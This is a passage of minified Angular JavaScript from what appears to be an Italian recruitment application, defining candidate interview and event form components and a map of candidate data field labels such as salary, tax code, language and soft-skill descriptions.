t.$implicit.controls.availability_date.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(112,"div",18),z.Vb(113,"h3",36),z.Ic(114),z.hc(115,"translate"),z.Ub(),z.Vb(116,"div",37),z.Qb(117,"input",42),z.Ub(),z.Ub(),z.Vb(118,"div",18),z.Vb(119,"h3",36),z.Ic(120),z.hc(121,"translate"),z.Ub(),z.Vb(122,"div",37),z.Qb(123,"input",43),z.Qb(124,"i",29),z.Ub(),z.Ub(),z.Vb(125,"div",18),z.Vb(126,"h3",36),z.Ic(127),z.hc(128,"translate"),z.Ub(),z.Vb(129,"div",37),z.Qb(130,"input",44),z.Qb(131,"i",29),z.Ub(),z.Ub(),z.Vb(132,"div",18),z.Vb(133,"h3",36),z.Ic(134),z.hc(135,"translate"),z.Ub(),z.Vb(136,"div",37),z.Qb(137,"ng-select",45),z.Ub(),z.Ub(),z.Vb(138,"div",18),z.Vb(139,"h3",36),z.Ic(140),z.hc(141,"translate"),z.Ub(),z.Vb(142,"div",37),z.Qb(143,"input",46),z.Ub(),z.Ub(),z.Vb(144,"div",18),z.Vb(145,"h3",36),z.Ic(146),z.hc(147,"translate"),z.Ub(),z.Vb(148,"div",37),z.Qb(149,"input",47),z.Qb(150,"i",29),z.Ub(),z.Ub(),z.Vb(151,"div",18),z.Vb(152,"h3",36),z.Ic(153),z.hc(154,"translate"),z.Ub(),z.Vb(155,"div",37),z.Vb(156,"ng-select",48),z.hc(157,"translate"),z.Ic(158," >"),z.Ub(),z.Vb(159,"div",40),z.Ic(160),z.hc(161,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(162,"div",18),z.Vb(163,"h3",36),z.Ic(164),z.hc(165,"translate"),z.Ub(),z.Vb(166,"div",37),z.Qb(167,"input",49),z.Qb(168,"i",29),z.Ub(),z.Ub(),z.Vb(169,"div",18),z.Vb(170,"h3",36),z.Ic(171),z.hc(172,"translate"),z.Ub(),z.Vb(173,"div",37),z.Qb(174,"input",50),z.Qb(175,"i",29),z.Ub(),z.Ub(),z.Vb(176,"div",18),z.Vb(177,"h3",36),z.Ic(178),z.hc(179,"translate"),z.Ub(),z.Vb(180,"div",37),z.Qb(181,"input",51),z.Qb(182,"i",29),z.Ub(),z.Ub(),z.Vb(183,"div",18),z.Vb(184,"h3",36),z.Ic(185),z.hc(186,"translate"),z.Ub(),z.Vb(187,"div",37),z.Qb(188,"ng-select",52),z.Ub(),z.Ub(),z.Vb(189,"div",18),z.Vb(190,"h3",36),z.Ic(191),z.hc(192,"translate"),z.Ub(),z.Vb(193,"div",37),z.Qb(194,"input",53),z.Qb(195,"i",29),z.Ub(),z.Ub(),z.Vb(196,"div",1),z.Vb(197,"h3",36),z.Ic(198),z.hc(199,"translate"),z.Ub(),z.Vb(200,"div",37),z.Vb(201,"textarea",54),z.Ic(202,"                                    "),z.Ub(),z.Qb(203,"i",29),z.Vb(204,"div",40),z.Ic(205),z.hc(206,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(207,"div",1),z.Vb(208,"h3",36),z.Ic(209),z.hc(210,"translate"),z.Ub(),z.Vb(211,"div",37),z.Vb(212,"textarea",55),z.Ic(213,"                                    "),z.Ub(),z.Qb(214,"i",29),z.Vb(215,"div",40),z.Ic(216),z.hc(217,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.type_interview.value?i.controls.type_interview.value+" "+i.controls.type_interview.value:z.ic(4,65,"Colloquio")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(7),z.Jc(z.ic(17,67,"Disponibile a spostarsi")),z.Cb(10),z.Kc("",z.ic(27,69,"\xc8 ambizioso")," "),z.Cb(10),z.Kc("",z.ic(37,71,"Ha l'automobile")," "),z.Cb(8),z.nc("readonly",!i.controls.hasCarCheck.value)("ngClass",z.rc(125,gt,a.validateField("hasCarText",i))),z.Cb(6),z.Kc("",z.ic(51,73,"Buono pasto")," "),z.Cb(8),z.nc("readonly",!i.controls.launch_couponCheck.value)("ngClass",z.rc(127,gt,a.validateField("launch_couponText",i))),z.Cb(6),z.Kc("",z.ic(65,75,"In cerca di lavoro")," "),z.Cb(8),z.nc("readonly",!i.controls.isSearchingJobCheck.value)("ngClass",z.rc(129,gt,a.validateField("isSearchingJobText",i))),z.Cb(6),z.Kc("",z.ic(79,77,"Assicurazione")," "),z.Cb(8),z.nc("readonly",!i.controls.insuranceCheck.value)("ngClass",z.rc(131,gt,a.validateField("insuranceText",i))),z.Cb(4),z.Kc("",z.ic(91,79,"Tipo di Intervista")," "),z.Cb(3),z.nc("items",a.options.type_interview_options)("ngClass",z.rc(133,pt,a.validateField("type_interview",i)))("addTag",!0)("addTagText",z.ic(94,81,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(98,83,"Percorso Professionale")," "),z.Cb(3),z.nc("ngClass",z.rc(135,ft,a.validateField("profPath",i))),z.Cb(4),z.Jc(z.ic(105,85,"La descrizione del percorso professionale non pu\xf2 essere superiori a 500 caratteri!")),z.Cb(4),z.Jc(z.ic(109,87,"Disponibile da")),z.Cb(3),z.nc("model",i.controls.availability_date.value)("inputClass",z.rc(137,gt,a.validateField("availability_date",i))),z.Cb(3),z.Kc("",z.ic(115,89,"RAL")," "),z.Cb(3),z.nc("ngClass",z.rc(139,gt,a.validateField("ral",i))),z.Cb(3),z.Kc("",z.ic(121,91,"Ccnl")," "),z.Cb(3),z.nc("ngClass",z.rc(141,gt,a.validateField("ccnl",i))),z.Cb(4),z.Kc("",z.ic(128,93,"Desiderata")," "),z.Cb(3),z.nc("ngClass",z.rc(143,gt,a.validateField("desired_salary",i))),z.Cb(4),z.Kc("",z.ic(135,95,"Livello")," "),z.Cb(3),z.nc("items",a.options.livelloOptions)("ngClass",z.rc(145,pt,a.validateField("level",i))),z.Cb(3),z.Kc("",z.ic(141,97,"Indennit\xe0 / Bonus Variabile")," "),z.Cb(3),z.nc("ngClass",z.rc(147,gt,a.validateField("bonus",i))),z.Cb(3),z.Kc("",z.ic(147,99,"Motivazione al cambiamento")," "),z.Cb(3),z.nc("ngClass",z.rc(149,gt,a.validateField("whyIsChangingJob",i))),z.Cb(4),z.Kc("",z.ic(154,101,"Settori di interesse")," "),z.Cb(3),z.nc("items",a.options.industryListOpt)("ngClass",z.rc(151,pt,a.validateArrayField("col_industry",i)))("addTag",!0)("multiple",!0)("addTagText",z.ic(157,103,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Jc(z.ic(161,105,"Seleziona l'industria di interesse!")),z.Cb(4),z.Kc("",z.ic(165,107,"Clienti Corrispondenti")," "),z.Cb(3),z.nc("ngClass",z.rc(153,gt,a.validateField("clients_matching",i))),z.Cb(4),z.Kc("",z.ic(172,109,"Soft Skills")," "),z.Cb(3),z.nc("ngClass",z.rc(155,gt,a.validateField("soft_skills",i))),z.Cb(4),z.Jc(z.ic(179,111,"Periodo di preavviso")),z.Cb(3),z.nc("ngClass",z.rc(157,gt,a.validateField("preavviso",i))),z.Cb(4),z.Kc("",z.ic(186,113,"Valutazione Generale")," "),z.Cb(3),z.nc("items",a.options.valutazioneOptions)("ngClass",z.rc(159,pt,a.validateField("general_overview",i))),z.Cb(3),z.Kc("",z.ic(192,115,"Referenze Esterne")," "),z.Cb(3),z.nc("ngClass",z.rc(161,gt,a.validateField("externalReference",i))),z.Cb(4),z.Kc("",z.ic(199,117,"Aspirazioni Professionali")," "),z.Cb(3),z.nc("ngClass",z.rc(163,ft,a.validateField("prof_aspirations",i))),z.Cb(4),z.Jc(z.ic(206,119,"La descrizione delle aspirazioni professionali non pu\xf2 essere superiori a 100 caratteri!")),z.Cb(4),z.Kc("",z.ic(210,121,"Note aggiuntive")," "),z.Cb(3),z.nc("ngClass",z.rc(165,ft,a.validateField("col_note",i))),z.Cb(4),z.Jc(z.ic(217,123,"Le note non possono essere superiori a 500 caratteri!"))}}var ht,Ct=((ht=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray")}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({type_interview:[null],profPath:[null],availability_date:[null],ral:[null],desired_salary:[null],isSearchingJobCheck:[!1],isSearchingJobText:[null],prof_aspirations:[null],preavviso:[null],isAvailableTravel:[!1],hasCarCheck:[!1],hasCarText:[null],hasAmbitions:[!1],whyIsChangingJob:[null],col_industry:[[]],bonus:[null],launch_couponCheck:[!1],launch_couponText:[null],insuranceCheck:[!1],insuranceText:[null],ccnl:[null],clients_matching:[null],level:[null],soft_skills:[null],general_overview:[null],col_note:[null],externalReference:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||ht)(z.Pb(C.e))},ht.\u0275cmp=z.Jb({type:ht,selectors:[["app-candidate-insert-colloquio"]],features:[z.zb],decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-12"],[1,"col-md-6"],[1,"row","mb-switch"],[1,"col-md-10"],[1,"card-body__title","d-inline"],[1,"col-md-2"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","isAvailableTravel",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],["type","checkbox","formControlName","hasAmbitions",1,"toggle-switch__checkbox"],["type","checkbox","formControlName","hasCarCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","hasCarText",3,"readonly","ngClass"],[1,"form-group__bar"],["type","checkbox","formControlName","launch_couponCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","launch_couponText",3,"readonly","ngClass"],["type","checkbox","formControlName","isSearchingJobCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","isSearchingJobText",3,"readonly","ngClass"],["type","checkbox","formControlName","insuranceCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","insuranceText",3,"readonly","ngClass"],[1,"card-body__title"],[1,"form-group"],["bindLabel","name","bindValue","name","placeholder","","formControlName","type_interview",3,"items","ngClass","addTag","addTagText"],["formControlName","profPath","autosize","","placeholder","",3,"ngClass"],[1,"invalid-tooltip"],["placeholder","","mode","day","format","DD/MM/YYYY","locale","it","placement","bottom left",3,"model","inputClass","modelChange"],["type","number","formControlName","ral",3,"ngClass"],["type","text","formControlName","ccnl",3,"ngClass"],["type","text","formControlName","desired_salary",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","level",3,"items","ngClass"],["type","number","formControlName","bonus",3,"ngClass"],["type","text","formControlName","whyIsChangingJob",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","col_industry",3,"items","ngClass","addTag","multiple","addTagText"],["type","text","formControlName","clients_matching",3,"ngClass"],["type","text","formControlName","soft_skills",3,"ngClass"],["type","text","formControlName","preavviso",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","general_overview",3,"items","ngClass"],["type","text","formControlName","externalReference",3,"ngClass"],["formControlName","prof_aspirations","autosize","","maxlength","100","placeholder","",3,"ngClass"],["formControlName","col_note","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"accordion",2),z.Gc(3,vt,218,167,"accordion-group",3),z.Ub(),z.Ub(),z.Vb(4,"div",4),z.Qb(5,"br"),z.Vb(6,"a",5),z.cc("click",function(){return t.addItem()}),z.Qb(7,"i",6),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Vb(10,"a",7),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(11,"i",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls),z.Cb(5),z.Kc("",z.ic(9,4,"Aggiungi colloquio")," "),z.Cb(4),z.Kc("",z.ic(13,6,"Rimuovi Colloqui Vuoti")," "))},directives:[Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.a,C.n,C.g,C.c,S.l,A.a,g.a,T.a,C.r,C.k],pipes:[E.c],encapsulation:2}),ht);function Vt(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",26),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",27),z.Ub()}}var Ut=function(e){return["form-control",e]},_t=function(e){return["form-control","border-select",e]},It=function(e){return["form-control","textareaCustom",e]};function yt(e,t){if(1&e&&(z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",12),z.Vb(6,"span",13),z.Qb(7,"i",14),z.Ub(),z.Gc(8,Vt,2,0,"span",15),z.Ub(),z.Ub(),z.Vb(9,"div",16),z.Vb(10,"div",17),z.Vb(11,"h3",18),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",19),z.Qb(15,"input",20),z.Qb(16,"i",21),z.Ub(),z.Ub(),z.Vb(17,"div",17),z.Vb(18,"h3",18),z.Ic(19),z.hc(20,"translate"),z.Ub(),z.Vb(21,"div",19),z.Qb(22,"ng-select",22),z.Ub(),z.Qb(23,"i",21),z.Ub(),z.Vb(24,"div",17),z.Vb(25,"h3",18),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",19),z.Vb(29,"app-datetime-manager",23),z.cc("modelChange",function(e){return t.$implicit.controls.data_inizio.value=e}),z.Ub(),z.Qb(30,"i",21),z.Ub(),z.Ub(),z.Vb(31,"div",17),z.Vb(32,"h3",18),z.Ic(33),z.hc(34,"translate"),z.Ub(),z.Vb(35,"div",19),z.Vb(36,"app-datetime-manager",23),z.cc("modelChange",function(e){return t.$implicit.controls.data_fine.value=e}),z.Ub(),z.Qb(37,"i",21),z.Ub(),z.Ub(),z.Vb(38,"div",17),z.Vb(39,"h3",18),z.Ic(40),z.hc(41,"translate"),z.Ub(),z.Vb(42,"div",19),z.Qb(43,"input",24),z.Qb(44,"i",21),z.Ub(),z.Ub(),z.Vb(45,"div",1),z.Vb(46,"h3",18),z.Ic(47),z.hc(48,"translate"),z.Ub(),z.Vb(49,"div",19),z.Vb(50,"textarea",25),z.Ic(51,"                            "),z.Ub(),z.Qb(52,"i",21),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.titolo.value?i.controls.titolo.value+(i.controls.tipologia.value?" ("+i.controls.tipologia.value+")":""):z.ic(4,20,"Evento")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(3),z.Jc(z.ic(13,22,"Titolo")),z.Cb(3),z.nc("ngClass",z.rc(34,Ut,a.validateField("titolo",i))),z.Cb(4),z.Kc("",z.ic(20,24,"Tipologia")," "),z.Cb(3),z.nc("items",a.options.tipologiaOption)("ngClass",z.rc(36,_t,a.validateField("tipologia",i))),z.Cb(4),z.Kc("",z.ic(27,26,"Data Inizio")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.data_inizio.value)("inputClass",z.rc(38,Ut,a.validateField("data_inizio",i))),z.Cb(4),z.Kc("",z.ic(34,28,"Data Fine")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.data_fine.value)("inputClass",z.rc(40,Ut,a.validateField("data_fine",i))),z.Cb(4),z.Jc(z.ic(41,30,"Link Evento")),z.Cb(3),z.nc("ngClass",z.rc(42,Ut,a.validateField("link_evento",i))),z.Cb(4),z.Jc(z.ic(48,32,"Contenuto")),z.Cb(3),z.nc("ngClass",z.rc(44,It,a.validateField("contenuto",i)))}}var xt,Ot=((xt=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!1)}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({titolo:[null],tipologia:[null],data_inizio:[null],data_fine:[null],link_evento:[null],contenuto:[null]})}},{key:"ngOnInit",value:function(){}}]),n}(le.a)).\u0275fac=function(e){return new(e||xt)(z.Pb(C.e))},xt.\u0275cmp=z.Jb({type:xt,selectors:[["app-candidate-insert-evento"]],features:[z.zb],decls:14,vars:7,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","titolo",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","name","placeholder","","formControlName","tipologia",3,"items","ngClass"],["placeholder","","mode","day","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","link_evento",3,"ngClass"],["formControlName","contenuto","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"accordion",2),z.Gc(3,yt,53,46,"accordion-group",3),z.Ub(),z.Ub(),z.Vb(4,"div",4),z.Qb(5,"br"),z.Vb(6,"a",5),z.cc("click",function(){return t.addItem()}),z.Qb(7,"i",6),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Vb(10,"a",7),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(11,"i",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.nc("ngForOf",t._form.controls),z.Cb(5),z.Kc("",z.ic(9,3,"Aggiungi Evento")," "),z.Cb(4),z.Kc("",z.ic(13,5,"Rimuovi Eventi Vuoti")," "))},directives:[Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.c,C.n,C.g,S.l,A.a,T.a,g.a],pipes:[E.c],styles:[""]}),xt);function zt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc(2);z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n.form.controls.anagrafica.value[i.key])}}function kt(e,t){if(1&e&&(z.Vb(0,"div"),z.Vb(1,"div",1),z.Gc(2,zt,6,4,"div",2),z.hc(3,"keyvalue"),z.Ub(),z.Ub()),2&e){var i=z.gc();z.Cb(2),z.nc("ngForOf",z.jc(3,1,i.fieldConfig.anagrafica,i.originalOrder))}}function wt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n[i.key])}}function Ft(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,wt,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.educations,i.originalOrder))}}function Qt(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,Ft,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.educations.value)}}function St(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(i.key&&"lang_language"==i.key&&n[i.key]&&n[i.key].name?n[i.key].name:n[i.key])}}function Tt(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,St,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.languages,i.originalOrder))}}function At(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,Tt,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.languages.value)}}function Lt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n[i.key])}}function Et(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,Lt,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.skills,i.originalOrder))}}function Nt(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,Et,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.skills.value)}}function Kt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc(2);z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n.form.controls.softSkills.value[i.key])}}function Mt(e,t){if(1&e&&(z.Vb(0,"div"),z.Vb(1,"div",1),z.Gc(2,Kt,6,4,"div",2),z.hc(3,"keyvalue"),z.Ub(),z.Ub()),2&e){var i=z.gc();z.Cb(2),z.nc("ngForOf",z.jc(3,1,i.fieldConfig.softSkills,i.originalOrder))}}function Pt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n[i.key])}}function Jt(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,Pt,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.trainings,i.originalOrder))}}function qt(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,Jt,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.trainings.value)}}function Gt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n[i.key])}}function jt(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,Gt,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.experiences,i.originalOrder))}}function Dt(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,jt,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.experiences.value)}}function Rt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n[i.key])}}function Wt(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,Rt,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.attachments,i.originalOrder))}}function $t(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,Wt,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.attachments.value)}}function Bt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n[i.key])}}function Yt(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,Bt,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.interviews,i.originalOrder))}}function Ht(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,Yt,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.interviews.value)}}function Zt(e,t){if(1&e&&(z.Vb(0,"div",3),z.Vb(1,"span",4),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"span"),z.Ic(5),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,2,i.value),": "),z.Cb(3),z.Jc(n[i.key])}}function Xt(e,t){if(1&e&&(z.Vb(0,"div",6),z.Gc(1,Zt,6,4,"div",2),z.hc(2,"keyvalue"),z.Ub()),2&e){var i=z.gc(2);z.Cb(1),z.nc("ngForOf",z.jc(2,1,i.fieldConfig.events,i.originalOrder))}}function ei(e,t){if(1&e&&(z.Vb(0,"div"),z.Gc(1,Xt,3,4,"div",5),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngForOf",i.form.controls.events.value)}}var ti,ii=((ti=function(){function e(){b(this,e),this.fieldConfig={anagrafica:{name:"Nome",surname:"Cognome",birth_date:"Data di Nascita",cdf:"Codice Fiscale",email:"Email",pec:"Pec",cellular:"Cellulare",jobtitle:"Job Title",id_residence_state:"Nazione di residenza",residency_validity:"Scadenza permesso di soggiorno",is_piva:"Ha Partita Iva",piva:"Partita Iva",mobilitazione:"Disponibilt\xe0 Geografica",status:"Status",recruitmentSource:"Fonte di reclutamento",gdpr:"GDPR",marketing_consent:"Consenso Marketing",photo_profile:"Foto del profilo"},educations:{istruction_school:"Nome dell'Istituto",prof_educ_name:"Tipologia",prof_educ_level:"Livello",prof_educ_title:"Titolo di studio",titoloConseguito:"Titolo Conseguito",dateAttainment:"Data Conseguimento",prof_educ_vote:"Voto",instructionHasLode:"Con lode",istruction_region:"Regione",istruction_city:"Comune"},languages:{lang_language:"Lingua",lang_parlato:"Parlato",lang_scritto:"Scritto",lang_note:"Note"},skills:{skill:"Skill",industry:"Industry",macro_area:"Macro Area",category_padre:"Categoria",category_figlio:"Sottocategoria",rating:"Rating",validated_rating:"Esperienza"},softSkills:{orientamentoRisultatoOne:"Mantiene una forte focalizzazione sugli obiettivi assegnati, anche nelle difficolt\xe0.",orientamentoRisultatoTwo:"Persegue i risultati con impegno e determinazione anche in assenza di continua supervisione.",problemSolvingOne:"Fornisce risposte rapide e appropriate di fronte a difficolt\xe0 o situazioni complesse.",problemSolvingTwo:"Quando affronta problemi nuovi effettua una efficace analisi delle variabili in gioco.",problemSolvingTree:"Anticipa i potenziali problemi, proponendo pro-attivamente soluzioni adeguate ed efficienti prima che essi si verifichino.",orientamentoQualitaOne:"Presta molta attenzione ai dettagli delle informazioni disponibili.",orientamentoQualitaTwo:"Si assicura che vengano seguite le procedure operative o tecniche.",orientamentoQualitaTree:"Verifica la qualit\xe0 e precisione del proprio lavoro.",orientamentoClienteOne:"Identifica correttamente e soddisfa le esigenze del cliente.",orientamentoClienteTwo:"Anticipa le esigenze inespresse del cliente, consigliandolo sui potenziali bisogni che potrebbe non aver considerato.",orientamentoClienteTree:"Si impegna in prima persona a risolvere i problemi e i reclami del cliente, applicando le opportune procedure di escalation quando necessario.",comunicazioneOne:"Si esprime in modo chiaro e strutturato.",comunicazioneTwo:"Ascolta, si mette 